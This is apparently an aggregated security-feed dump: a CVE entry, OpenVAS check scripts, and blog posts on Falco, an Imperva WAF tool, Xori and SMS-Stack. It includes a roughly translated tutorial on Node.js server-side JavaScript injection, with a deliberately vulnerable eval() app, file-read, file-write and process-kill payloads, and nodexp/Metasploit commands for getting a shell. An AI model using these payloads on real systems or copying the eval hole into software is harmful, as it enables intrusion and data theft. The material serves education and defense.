{"cve": [{"lastseen": "2019-04-19T11:26:12", "bulletinFamily": "NVD", "description": "Clever saml2-js 2.0 and earlier may incorrectly utilize the results of XML DOM traversal and canonicalization APIs in such a way that an attacker may be able to manipulate the SAML data without invalidating the cryptographic signature, allowing the attack to potentially bypass authentication to SAML service providers.", "modified": "2019-04-18T14:14:55", "published": "2019-04-17T10:29:00", "id": "CVE-2017-11429", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-11429", "title": "CVE-2017-11429", "type": "cve", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "openvas": [{"lastseen": "2019-04-21T10:21:28", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the\n ", "modified": "2019-04-19T00:00:00", "published": "2019-04-17T00:00:00", "id": "OPENVAS:1361412562310875564", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310875564", "title": "Fedora Update for nodejs-simple-markdown FEDORA-2019-8e7c71f45b", "type": "openvas", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.875564\");\n script_version(\"2019-04-19T05:29:08+0000\");\n script_cve_id(\"CVE-2019-9844\");\n script_tag(name:\"cvss_base\", value:\"4.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:N/I:P/A:N\");\n script_tag(name:\"last_modification\", value:\"2019-04-19 05:29:08 +0000 (Fri, 19 Apr 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-04-17 02:11:39 +0000 (Wed, 17 Apr 2019)\");\n script_name(\"Fedora Update for nodejs-simple-markdown FEDORA-2019-8e7c71f45b\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC28\");\n\n script_xref(name:\"FEDORA\", value:\"2019-8e7c71f45b\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JFLP3KJVSV5VWMNEBRXLGRVYFXOV5KOG\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the\n 'nodejs-simple-markdown' package(s) announced via the FEDORA-2019-8e7c71f45b\n advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is\n present on the target host.\");\n\n script_tag(name:\"insight\", value:\"simple-markdown is a markdown-like parser\n designed for simplicity and extensibility.\");\n\n script_tag(name:\"affected\", value:\"'nodejs-simple-markdown' package(s) on Fedora 28.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"FC28\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"nodejs-simple-markdown\", rpm:\"nodejs-simple-markdown~0.4.4~1.fc28\", rls:\"FC28\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}}, {"lastseen": "2019-04-05T13:14:04", "bulletinFamily": "scanner", "description": "This host is running Nessus and is prone to\n multiple vulnerabilities.", "modified": "2019-04-04T00:00:00", "published": "2019-04-02T00:00:00", "id": "OPENVAS:1361412562310107633", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310107633", "title": "Tenable Nessus < 8.3.0 Multiple Vulnerabilities (TNS-2019-02)", "type": "openvas", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nCPE = \"cpe:/a:tenable:nessus\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.107633\");\n script_version(\"2019-04-04T14:50:45+0000\");\n script_cve_id(\"CVE-2019-1559\", \"CVE-2017-18214\", \"CVE-2016-4055\");\n script_tag(name:\"cvss_base\", value:\"7.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_tag(name:\"last_modification\", value:\"2019-04-04 14:50:45 +0000 (Thu, 04 Apr 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-04-02 15:40:22 +0200 (Tue, 02 Apr 2019)\");\n script_tag(name:\"qod_type\", value:\"remote_banner\");\n script_name(\"Tenable Nessus < 8.3.0 Multiple Vulnerabilities (TNS-2019-02)\");\n\n script_tag(name:\"summary\", value:\"This host is running Nessus and is prone to\n multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"These vulnerabilities exist in 3rdpary components used by Nessus:\n\n - An Information disclosure vulnerability in OpenSSL.\n\n - A denial of service (DoS) vulnerability in the moment module before 2.19.3 for Node.js.\n\n - A denial of service (DoS) vulnerability in the duration function in the moment package before 2.11.2\n for Node.js.\");\n\n script_tag(name:\"impact\", value:\"An unauthenticated, remote attacker may be able to:\n\n - obtain sensitive information, caused by the failure to immediately close the TCP connection after\n the hosts encounter a zero-length record with valid padding. (CVE-2019-1559)\n\n - to cause CPU consumption via regular expression of crafted date string\n different than CVE-2016-4055. (CVE-2017-18214)\n\n - to cause CPU consumption via date string ReDoS. (CVE-2016-4055)\");\n\n script_tag(name:\"affected\", value:\"Nessus versions prior to version 8.3.0.\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Nessus version 8.3.0 or later.\n Please see the references for more information.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"URL\", value:\"https://www.tenable.com/security/tns-2019-02\");\n\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_category(ACT_GATHER_INFO);\n script_family(\"Web application abuses\");\n script_dependencies(\"gb_nessus_web_server_detect.nasl\");\n script_mandatory_keys(\"nessus/installed\");\n exit(0);\n}\n\ninclude( \"version_func.inc\" );\ninclude( \"host_details.inc\" );\n\nif( ! port = get_app_port( cpe:CPE ) )\n exit( 0 );\n\nif( ! infos = get_app_version_and_location( cpe:CPE, port:port, exit_no_version:TRUE ) )\n exit( 0 );\n\nvers = infos['version'];\npath = infos['location'];\n\nif( version_is_less( version:vers, test_version:\"8.3.0\" ) )\n{\n report = report_fixed_ver( installed_version:vers, fixed_version:\"8.3.0\", install_path:path );\n security_message( data:report, port:port );\n exit( 0 );\n}\nexit( 99 );\n", "cvss": {"score": 7.8, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}], "pentestit": [{"lastseen": "2019-04-16T05:54:42", "bulletinFamily": "blog", "description": "PenTestIT RSS Feed\n\nRecently, an updated version - **Sysdig Falco v0.14.0** - was released. It has been some time since I last blogged about this [open source behavorial activity monitor which has container support](<http://pentestit.com/sysdig-falco-open-source-behavioral-activity-monitor/>). \n\n\n\nWhat is Sysdig Falco?\n\n> Sysdig Falco is an open source, behavioral activity monitor designed to detect anomalous activity in your applications. This is project for intrusion and anomaly detection for Cloud Native platforms such as Kubernetes, Mesosphere, and Cloud Foundry.\n\n## Sysdig Falco v0.14.0 Changelog:\n\n## Major Changes\n\n * Rules versioning support: The falco engine and executable now have an _engine version_ that represents the fields they support. Similarly, rules files have an optional _required_engine_version: NNN_ object that names the minimum engine version required to read that rules file. Any time the engine adds new fields, event sources, etc, the engine version will be incremented, and any time a rules file starts using new fields, event sources, etc, the required engine version will be incremented. [[#492](<https://github.com/falcosecurity/falco/pull/492>)] \n * Allow SSL for K8s audit endpoint/embedded webserver [[#471](<https://github.com/falcosecurity/falco/pull/471>)] \n * Add stale issues bot that automatically flags old github issues as stale after 60 days of inactivity and closes issues after 67 days of inactivity. [[#500](<https://github.com/falcosecurity/falco/pull/500>)] \n * Support bundle: When run with `--support`, falco will print a json object containing necessary information like falco version, command line, operating system information, and falco rules files contents. This could be useful when reporting issues. [[#517](<https://github.com/falcosecurity/falco/pull/517>)] \n\n## Minor Changes\n\n * Support new third-party library dependencies from open source sysdig. [[#498](<https://github.com/falcosecurity/falco/pull/498>)] \n * Add CII best practices badge. [[#499](<https://github.com/falcosecurity/falco/pull/499>)] \n * Fix kernel module builds when running on centos as a container by installing gcc 5 by hand instead of directly from debian/unstable. [[#501](<https://github.com/falcosecurity/falco/pull/501>)] \n * Mount `/etc` when running as a container, which allows container to build kernel module/ebpf program on COS/Minikube. [[#475](<https://github.com/falcosecurity/falco/pull/475>)] \n * Improved way to specify the source of generic event objects [[#480](<https://github.com/falcosecurity/falco/pull/480>)] \n * Readability/clarity improvements to K8s Audit/K8s Daemonset READMEs. [[#503](<https://github.com/falcosecurity/falco/pull/503>)] \n * Add additional RBAC permissions to track deployments/daemonsets/replicasets. [[#514](<https://github.com/falcosecurity/falco/pull/514>)] \n\n## Bug Fixes\n\n * Fix formatting of nodejs examples README [[#502](<https://github.com/falcosecurity/falco/pull/502>)]\n\n## Rule Changes\n\n * Remove FPs for `Launch Sensitive Mount Container` rule [[#509](<https://github.com/falcosecurity/falco/pull/509/files>)] \n * Update Container rules/macros to use the more reliable `container.image.{repository,tag}` that always return the repository/tag of an image instead of `container.image`, which may not for some docker daemon versions. [[#513](<https://github.com/falcosecurity/falco/pull/513>)]\n\n## Download Sysdig Falco v0.14.0:\n\nSysdig Falco v0.10.0 (_falco-0.14.0.zip_/_falco-0.14.0.tar.gz_) can be downloaded [**here**](<https://github.com/draios/falco/releases>). If you want to know how to install Sysdig Falco using containers, refer [**this page**](<https://github.com/draios/falco/wiki/How-to-Install-Falco-using-Containers-and-or-Orchestration>).\n\nThe post [UPDATE: Sysdig Falco v0.14.0](<http://pentestit.com/update-sysdig-falco-v0-14-0/>) appeared first on [PenTestIT](<http://pentestit.com>).", "modified": "2019-04-16T04:42:14", "published": "2019-04-16T04:42:14", "id": "PENTESTIT:BDC586117EF003D4E577A8C4DCE6D084", "href": "http://pentestit.com/update-sysdig-falco-v0-14-0/", "type": "pentestit", "title": "UPDATE: Sysdig Falco v0.14.0", "cvss": {"score": 0.0, "vector": "NONE"}}], "myhack58": [{"lastseen": "2019-04-10T20:55:21", "bulletinFamily": "info", "description": "hello I was in control of the security laboratory of the Whispering Wind, the JavaScript in Node. js with the help of turned into a server-side scripting language, so since it is a service side scripting language, there may be some security issues. SSJI(server side JavaScript injection) is a relatively new attack techniques. An attacker can use JS function on the server to perform malicious JS code to get cmdshell it. \n\n0x01 environment to build \nTools: \nNode.js \nhttps://nodejs.org/dist/v10.15.3/node-v10.15.3-x64.msi \nNodexp \nhttps://github.com/esmog/nodexp/archive/master.zip \nMetasploit-frameword(MSF) \nBuild: \n\u5148\u50bb\u74dc\u5f0f\u7684\u5b89\u88c5Node.js \n\u5b89\u88c5\u597d\u540eNode.js remember to re-install one of the express framework \nnpm install express \u2013save (a new version of the Node. js comes with the npm) \n\n0x02 SSJI hazards \nIf no input is detected, it may be vulnerable to attack, the attacker can use the JS function on the server to perform malicious JS code. \nYou can use a function there? \nThe Eval() \nthe setTimeout() \nSetinterval() \nFuntion() \nFor example: (Eval.js:) \nvar express = require('express'); \nvar app = express(); \napp. get('/', function(req, res) { \nvar resp=eval(req. query. name); \nres. send('Response'+resp); \n}); \napp. listen(3002); \nconsole. log('Server running at http://127.0.0.1:3002/'); \nWhen we use the Node. js to run this js when in the local open a 3002 port of the WEB service, and then he will get the GET way to pass parameters up to pass the parameter named name to the value, and then will get to the value in the eval()function execution. \nWe went to visit this port \n! [](/Article/UploadPic/2019-4/201941023717819. png) \nThen we can for him to GET transmission parameters, such as name=console. log(\u201chello World\u201d); \n! [](/Article/UploadPic/2019-4/201941023717856. png) \nPass the Senate after it was clear the execution in the command line it is obvious the output of the Hello World! \nSo since we can perform the output, is not able to perform other statement? For example, some of the malicious statement. \nprocess. exit() / process. kill(process. pid) \nAlso you can kill he running process NodeJs\uff09 \n! [](/Article/UploadPic/2019-4/201941023717236. png) \nThe process is terminated. \nBasically, an attacker can perform on the system/perform almost any operation in the user permissions within the limits we can also try to call the core module fs to read/list the current directory under the file name and folder name \nres. end(require('fs'). readdirSync('.'). toString()) \n! [](/Article/UploadPic/2019-4/201941023717338. png) \nWe can also try to call the core module of the fs to write the file(although there is no Echo, but still successfully written) \nres. end(require('fs'). writeFileSync('message.txt','hello')) \n! [](/Article/UploadPic/2019-4/201941023717649. png) \nWe can also try to call the core module of the fs to go read his file \nres. end(require('fs'). readFileSync('a. js','utf-8')) \n! [](/Article/UploadPic/2019-4/201941023717599. png) \n! [](/Article/UploadPic/2019-4/201941023717164. png) \nIf the target machine is mounted above a node-cmd call cmd (display clear, I went to call an exe to install) \nvar nodeCmd = require('node-cmd');nodeCmd. run('360cse_9.5.0.138.exe'); \n! [](/Article/UploadPic/2019-4/201941023717455. png) \n! [](/Article/UploadPic/2019-4/201941023717215. png) \nObviously we will call the cmd \n\n0x03 by nodexp get cmdshell \nWe can also try to use NodeXP tool added MSF to successfully obtain a cmdshell \nMethod of use: \nGET: python nodexp.py \u2013url=http://localhost:3001/? name=[INJECT_HERE]POST: python nodexp.py \u2013url=http://localhost:3001/post.js \u2013pdata=username=[INJECT_HERE] \n! [](/Article/UploadPic/2019-4/201941023717180. png) \n! [](/Article/UploadPic/2019-4/201941023718838. png) \n! [](/Article/UploadPic/2019-4/201941023718630. png) \nSet up a attack server's IP(with MSF) \n! [](/Article/UploadPic/2019-4/201941023718789. png) \nSet the port \n! [](/Article/UploadPic/2019-4/201941023718361. png)\n\n**[1] [[2]](<93583_2.htm>) [next](<93583_2.htm>)**\n", "modified": "2019-04-10T00:00:00", "published": "2019-04-10T00:00:00", "id": "MYHACK58:62201993583", "href": "http://www.myhack58.com/Article/html/3/62/2019/93583.htm", "title": "SSJI-to Node. js vulnerability audit of the series a-vulnerability warning-the black bar safety net", "type": "myhack58", "cvss": {"score": 0.0, "vector": "NONE"}}], "impervablog": [{"lastseen": "2019-04-11T12:10:10", "bulletinFamily": "blog", "description": "Imperva recently launched the [Imperva GitHub](<https://github.com/imperva>) where our global community can access tools, code repositories and other neat resources that aid collaboration and streamline development. \n\nThe nice thing about these tools is that you can clone them and customize them with whatever functionality you need. If you are nice you can also push new capabilities and even bug fixes \u2014 we are not perfect  \u2014 back into the repository, so other Imperva users can benefit.\n\nIn this blog I will present the [site-protection-viewer](<https://github.com/imperva/site-protection-viewer>). It allows you to manage your [Cloud WAF](<https://www.imperva.com/products/web-application-firewall-waf/>) (formerly Incapsula) account by providing a summary of your web sites\u2019 protection states, and also validates that your origin servers are protected (by restricting non-Imperva traffic). These capabilities are currently not available out of the box in Cloud WAF.\n\nUsage is very simple: set your API_ID and API_KEY in the settings file and run a command in the Command Line. The output is 2 files (html and csv) that provide your site configurations and the state of the origin servers.\n\nThis tool is written in nodejs and uses the nodejs capabilities of running requests in parallel in order to shorten the processing time. It uses the [Incapsula API](<https://docs.incapsula.com/Content/API/api.htm>) which provides access to the account information.\n\n**Running the Tool is very Simple**\n\n**Account Protection Example (html format)**\n\nYou can see that origin servers are checked using http: and https: protocols. The Summary table can also be saved to a csv file depending on the settings (default is save).\n\n**Full Details (html format)**\n\nThis section is added to the above if the **showFullDetails **flag is set to True in the settings file. The full details show the actual values that are returned by the [Incapsula API](<https://docs.incapsula.com/Content/API/api.htm>) for the specific site.\n\n## Why is it important to restrict traffic from non-Imperva networks?\n\nWell, it is quite simple. Consider the following analogy. You have a house with a main door. Since you want to protect your house, you post a highly-trained guard at this door in order to grant entry to allowed personnel only. However, there is a catch! Your house has a small backdoor that is unlocked with no guard. Although you have invested a substantial amount of effort at the front door, an unauthorized person can still enter without being noticed and potentially wreak havoc in your house.\n\nThe same goes with the origin server IP addresses. You are well protected by Imperva on your main entry to the public internet via the DNS. However, if you don\u2019t restrict (lock) your origin server from receiving direct traffic from the public internet, you are exposed to all the bad stuff you are paying to be protected from.\n\n## How to install the site protection viewer \n\n**Step 1:** Install [nodejs](<https://nodejs.org/en/download/>).\n\n**Step 2:** Download the project files from the [site-protection-viewer github ](<https://github.com/imperva/site-protection-viewer>)repository and save them locally in a directory of your choice (aka project directory).\n\n**Step 3:** In the project directory, open a command prompt and run 'npm install'.\n\n**Step 4:** Configure the relevant parameters in the settings.js file.\n\n**Step 5:** In the project directory run command: 'node spv'.\n\nOutput files can be found in the configured directory.\n\n## Conclusion\n\n[site-protection-viewer](<https://github.com/imperva/site-protection-viewer>) provides you with a summary of the web sites protection states managed by Cloud WAF. Simply download the tool, configure a couple of settings, and run a command. If you want, you use the code of this tool to develop custom-made tools that you can contribute back to the community.\n\nIf you want some more neat stuff to help you manage your account, check out the [account-level-dashboard](<https://github.com/imperva/account-level-dashboard>) tool which provides a graphic dashboard of some of your Cloud WAF account settings.\n\nThe post [Enhance Imperva Cloud WAF with a New Management Tool in the Imperva GitHub](<https://www.imperva.com/blog/enhance-imperva-cloud-waf-with-a-new-management-tool-in-the-imperva-github/>) appeared first on [Blog](<https://www.imperva.com/blog>).", "modified": "2019-03-28T15:56:17", "published": "2019-03-28T15:56:17", "id": "IMPERVABLOG:1F01DB9E3CEBDA946E6C266955EA04CD", "href": "https://www.imperva.com/blog/enhance-imperva-cloud-waf-with-a-new-management-tool-in-the-imperva-github/", "type": "impervablog", "title": "Enhance Imperva Cloud WAF with a New Management Tool in the Imperva GitHub", "cvss": {"score": 0.0, "vector": "NONE"}}], "kitploit": [{"lastseen": "2019-03-27T00:30:10", "bulletinFamily": "tools", "description": "[  ](<https://1.bp.blogspot.com/-OTgNtq1KiHk/XFM87FXz_lI/AAAAAAAAOGM/0b4M3i23QaAHaH_OFMTpHw3YJsJYTIdfgCLcBGAs/s1600/xori_1_xori.png>)\n\n \nXori is an automation-ready disassembly and [ static analysis ](<https://www.kitploit.com/search/label/Static%20Analysis>) library that consumes shellcode or PE binaries and provides triage [ analysis ](<https://www.kitploit.com/search/label/Analysis>) data. \n \n** Acknowledgements: ** \nXori wouldn't exist without inspiration and ideas from the open source community. We are indebted to the work of the [ Capstone engine ](<http://www.capstone-engine.org/>) and the [ LLVM Project ](<https://llvm.org/>) . \n \n** Architectures: ** \n\n\n * i386 \n * x86-64 \n \n** File Formats ** \n\n\n * PE, PE+ \n * Plain shellcode \n \n** Current Features ** \n\n\n * Outputs json of the 1) Disassembly, 2) Functions, and 3) Imports. \n * Manages Image and Stack memory. \n * 2 modes: \n * Light Emulation - meant to enumerate all paths (Registers, Stack, Some Instructions). \n * Full Emulation - only follows the code\u2019s path (Slow performance). \n * Simulated TEB & PEB structures. \n * Evaluates functions based on DLL exports. \n * Displays strings based on referenced memory locations. \n * Uses FLIRT style signatures (Fast Library Identification and [ Recognition ](<https://www.kitploit.com/search/label/Recognition>) Technology). \n * Allows you to use your own exports for simulating the PEB. \n * Will detect padding after a non-returning call. \n * Will try to identify function references from offsets. \nWhat it doesn't do yet: \n\n\n * The engine is interactive. \n * Does not dump strings. \n * Does not process non-executable sections. \n * TEB and PEB are not enabled for non-pe files. \n * Only some x86 instructions are emulated, not all. \n * Patching and assembling. \n * No plugins or scripting. \n \n** [ Documentation ](<https://endgameinc.github.io/xori/xori/>) ** \n \n** Requirements ** \nrustc 1.27.0 \n \n** Install rust for OSX & Linux Distros ** \n\n \n \n curl https://sh.rustup.rs -sSf | sh\n\n \n** Install rust for Windows ** \nFirst get the _ rustup.exe _ (the rust toolchain installer) from [ here ](<https://www.rust-lang.org/en-US/other-installers.html#other-ways-to-install-rustup>) . [ ](<https://github.com/endgameinc/xori/blob/master/readme-assests/rust-on-win.01.png>) \n \n\n\n[  ](<https://3.bp.blogspot.com/-c0EA0HzLe2o/XFM9DzIJFJI/AAAAAAAAOGQ/s54S-jmL_tYc5M7HERc7rcBApOrijReuACLcBGAs/s1600/xori_3_rust-on-win.png>)\n\n \nThis tool will install the rust [ compiler ](<https://www.kitploit.com/search/label/Compiler>) ** rustc ** , the rust package manager ** cargo ** and other usefull tools for development in rust. \n\n\n * run the _ rustup.exe _\n \n** Install rust prerequisites ** \nin case you see this output, your [ Windows ](<https://www.kitploit.com/search/label/Windows>) environment is missing the ** Build Tools for Visual Studio ** so keep reading, otherwise go [ here ](<https://github.com/endgameinc/xori#install-rust-toolchain>) [ ](<https://github.com/endgameinc/xori/blob/master/readme-assests/rust-on-win.02.png>) \n \n\n\n[  ](<https://1.bp.blogspot.com/-5L9XVHb7RbA/XFM9JdtdEUI/AAAAAAAAOGU/38cuajMvgREoCrONK3MHzGL8B4KwfSFFgCLcBGAs/s1600/xori_4_rust-on-win.png>)\n\n * follow the link from the output, or click [ here ](<https://aka.ms/buildtools>) \n\n * cancel the _ rustup-init.exe _ \n\n * back in browser, scroll down, expand the tab ** Tools for Visual Studio 2017 ** & download the ** Build Tools for Visual Studio 2017 **\n\n[  ](<https://1.bp.blogspot.com/-KjaHW-IKqZc/XFM9OqfInZI/AAAAAAAAOGc/H_9xbUmGp8gGkrK8mz22ak32dV3ij9fYgCLcBGAs/s1600/xori_5_rust-on-win.png>)\n\n * run the executable \nchoose the ** Visual C++ build tools ** & click \"install\", close the \"Visual Studio Installer\" after the installation [ ](<https://github.com/endgameinc/xori/blob/master/readme-assests/rust-on-win.04.png>) \n \n\n\n[  ](<https://2.bp.blogspot.com/-OzxkTDlCDlc/XFM9UPCbE6I/AAAAAAAAOGk/KEj07FvPeKs_BMuaodWOqXRH_QSzb-KhACLcBGAs/s1600/xori_6_rust-on-win.png>)\n\n \n** Install rust toolchain ** \nrun the _ rustup.exe _ & you will see the following output [ ](<https://github.com/endgameinc/xori/blob/master/readme-assests/rust-on-win.05.png>) \n \n\n\n[  ](<https://4.bp.blogspot.com/-52_4Ogfcp5A/XFM9ZEP8imI/AAAAAAAAOGs/pi1bg3d5wVQy_07bkI_yNR7tW8tB_pEeQCLcBGAs/s1600/xori_7_rust-on-win.png>)\n\n \nafter the successful installation you can see that the rust compiler ** rustc ** , rust package manager ** cargo ** and other tools were installed (under ` C:\\Users\\%username%\\.cargo ` & ` C:\\Users\\%username%\\.rustup ` ) [ ](<https://github.com/endgameinc/xori/blob/master/readme-assests/rust-on-win.06.png>) \n \n\n\n[  ](<https://3.bp.blogspot.com/-cULJNtj9Z-8/XFM9eWOF7uI/AAAAAAAAOGw/G-MI-9O7MCMtXe2rFHlRR0cBnr_A0z1XACLcBGAs/s1600/xori_8_rust-on-win.png>)\n\n * open a new \"Command Prompt\" & follow the ** xori ** build steps [ here ](<https://github.com/endgameinc/xori#1-build-xori>)\n \n** Installation ** \n \n** 1\\. Build Xori ** \nThis command will also create other binaries such as pesymbols ans peinfo. \n\n \n \n git clone https://github.com/endgameinc/xori.git\n cd xori\n cargo build --release\n\n \n** 2\\. Create xori.json config file ** \n\n \n \n cp xori.json.example xori.json\n [edit if desired]\n\n \n** 3\\. (Optional) Build the symbols files ** \nIf you want to create your own symbol files you need to set the dll folders to where you stored your windows dlls. \n\n \n \n \"function_symbol32\": \"./src/analysis/symbols/generated_user_syswow64.json\",\n \"function_symbol64\": \"./src/analysis/symbols/generated_user_system32.json\",\n \"symbol_server\": {\n \"dll_folder32\": \"./dlls/32bit\",\n \"dll_folder64\": \"./dlls/64bit\"\n\nRun pesymbols to overwrite the function_symbol json \n\n \n \n ./target/release/pesymbols\n\n \n** Run ** \n\n \n \n ./target/release/xori -f test.exe\n\n \n** Run all tests ** \n\n \n \n cargo test\n\n \n** Browser GUI ** \nChrome | Firefox | Safari | IE | Opera \n---|---|---|---|--- \nLatest \u2714 | Latest \u2714 | Latest \u2714 | x | Latest \u2714 \n \n** Requirements ** \nnodejs \nyarn (optional for UI dev) \n\n\n * On Ubuntu 18.04 you may need to apt install the following: ` curl git libssl-dev pkg-config build-essential npm `\n \n** Build ** \n\n \n \n cd gui\n npm install\n\n \n** Run ** \nIn one terminal \n\n \n \n cd gui\n node src/server.js\n\nIn another terminal \n\n \n \n cd gui\n npm start\n\nIt will open your default browser to [ http://localhost:3000/ ](<http://localhost:3000/>) . The backend API is listening on localhost:5000. \n \n \n\n\n** [ Download Xori ](<https://github.com/endgameinc/xori>) **\n", "modified": "2019-03-26T20:23:03", "published": "2019-03-26T20:23:03", "id": "KITPLOIT:1743427549831659510", "href": "http://www.kitploit.com/2019/03/xori-automation-ready-disassembly-and.html", "title": "Xori - An Automation-Ready Disassembly And Static Analysis Library For PE32, 32+ And Shellcode", "type": "kitploit", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-03-23T00:24:02", "bulletinFamily": "tools", "description": "Sms Stack is a Framework to provided TPC/IP based characteristics to the GSM Short Message Service. \n\nThis framework works in multiple environments to provided a full stack integration in a service. \n\nThe main layer features techniques to control the order and the number of sms for a given stream, and a layer of security with AES + CTR cypher. \n\nYou can easily implement your own protocol on the top of the stack of Sms Stack and add new features to an Sms Based communication between devices. \n\n \n** Prerequisities ** \nYou can download use sms-stack in multiple environments in order to implement it in multiple scenearios. \n \n** Typescript ** \nNpm - [ https://www.npmjs.com ](<https://www.npmjs.com/>) \nNodejs - [ https://nodejs.org/en/ ](<https://nodejs.org/en/>) \nTypescript - [ https://www.typescriptlang.org/#download-links ](<https://www.typescriptlang.org/#download-links>) \n \n** Python ** \nPython 3.4 or higher - [ https://www.python.org/downloads/ ](<https://www.python.org/downloads/>) \nPip - [ https://pypi.org/project/pip/ ](<https://pypi.org/project/pip/>) \n \n** Android ** \nAndroid API 23 (6.0) or higher - [ https://developer.android.com/about/versions/marshmallow/android-6.0 ](<https://developer.android.com/about/versions/marshmallow/android-6.0>) \nAndroid Studio + Gradle (With JUnit) - [ https://developer.android.com/studio/install ](<https://developer.android.com/studio/install>) \n \n** Usage ** \nSimply add the framework in one of each repositories given in your repository. \n \n** Typescript ** \n` npm install sms-stack 1.x.x ` \n \n** Python ** \n` pip install sms stack 0.x.x ` \n \n** Android ** \nAdd in the gradle app file ` implementation 'com.example.smstcplibrary:smsstack:0.x.x ` \nFor further implementation, please use the given wiki \n \n** SMS Stack scheme ** \n \n\n\n[  ](<https://3.bp.blogspot.com/-LTe26LEbRXA/XJJohnk2V7I/AAAAAAAAOSw/mL4huRNDba09vrenBjhOPyMboMUzNi82gCLcBGAs/s1600/SDK-SMS-Stack_2.png>)\n\n \n\n\n[  ](<https://1.bp.blogspot.com/-TAlFhiONYCw/XJJohE_mW5I/AAAAAAAAOSs/fgKZgubeYw80GhnlOgOfCpm0SmUgPs_xgCLcBGAs/s1600/SDK-SMS-Stack_3.png>)\n\n \n** Contact ** \nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \nThis software doesn't have a QA Process. This software is a Proof of Concept. \nIf you have any problems, you can contact: \n[email protected] \\- _ Ideas Locas CDO - Telef\u00f3nica _ \n[email protected] \\- _ Ideas Locas CDO - Telef\u00f3nica _ \n[email protected] \\- _ Ideas Locas CDO - Telef\u00f3nica _ \nFor more information please visit [ https://www.elevenpaths.com ](<https://www.elevenpaths.com/>) . \n \n \n\n\n** [ Download SDK-SMS-Stack ](<https://github.com/ElevenPaths/SDK-SMS-Stack>) **\n", "modified": "2019-03-22T20:22:03", "published": "2019-03-22T20:22:03", "id": "KITPLOIT:3344390161709349803", "href": "http://www.kitploit.com/2019/03/sms-stack-framework-to-provided-tpcip.html", "title": "SMS-Stack - Framework to provided TPC/IP based characteristics to the GSM Short Message Service", "type": "kitploit", "cvss": {"score": 0.0, "vector": "NONE"}}, 